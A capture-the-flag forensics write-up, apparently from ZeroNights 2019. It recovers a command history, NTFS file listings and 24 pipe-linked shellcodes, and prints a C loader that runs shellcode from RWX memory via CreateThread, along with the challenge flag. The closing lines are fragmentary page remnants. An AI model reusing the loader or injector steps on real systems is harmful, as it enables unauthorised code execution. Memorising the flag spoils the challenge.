 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FileTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


Algunas estadísticas


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/472416/


All Articles